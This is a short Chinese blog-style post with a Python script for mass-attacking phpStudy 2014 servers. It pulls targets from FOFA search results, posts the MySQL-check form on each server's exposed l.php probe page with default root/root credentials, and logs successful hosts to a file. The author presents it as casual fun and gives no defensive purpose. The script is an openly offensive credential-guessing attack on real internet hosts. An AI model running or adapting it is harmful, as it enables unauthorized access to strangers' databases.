python + fofa 批量打phpstudy
通过fofa搜索: "phpStudy探针 2014" 使用fofa的api获取全部数据. 没什么技术含量, 就是玩玩, 页数靠后的数据基本上都关掉了, 所以也没几个可以利用的
def get_target(): url_list = [] with open("fofa_phpstudy_info.txt", "r") as f: target = json.loads(f.read()) for strvar in target: for strvar2 in target[strvar]: url = "http://" + strvar2[1] + ":" + strvar2[2] + "/l.php#button" url_list.append(url) return url_list url_list = get_target() for php_url in url_list: header = { "Content-Type": "application/x-www-form-urlencoded" } data = { "host": "localhost", "port": "3306", "login": "root", "password": "root", "act": "MySQL检测" } try: res = requests.post(php_url, headers=header, data=data) if "连接到MySql数据库正常" in res.text: print(php_url, ":", "phpmyadmin登录成功, 账号root, 密码root") with open("phpstudy_ok.txt", "a") as f: f.write(php_url + "|root|root\n") print(php_url, "phpmyadmin登录失败") except: print(php_url, "链接异常")
吧获取到的数据进行一个拼接. 这个测试是通过前端phpinfo页面进行测试的. 这里出现了mysql的测试接口.
在通过抓包获取需要的数据, 在python中构造提交即可. 没什么难度, 就是随便玩一下.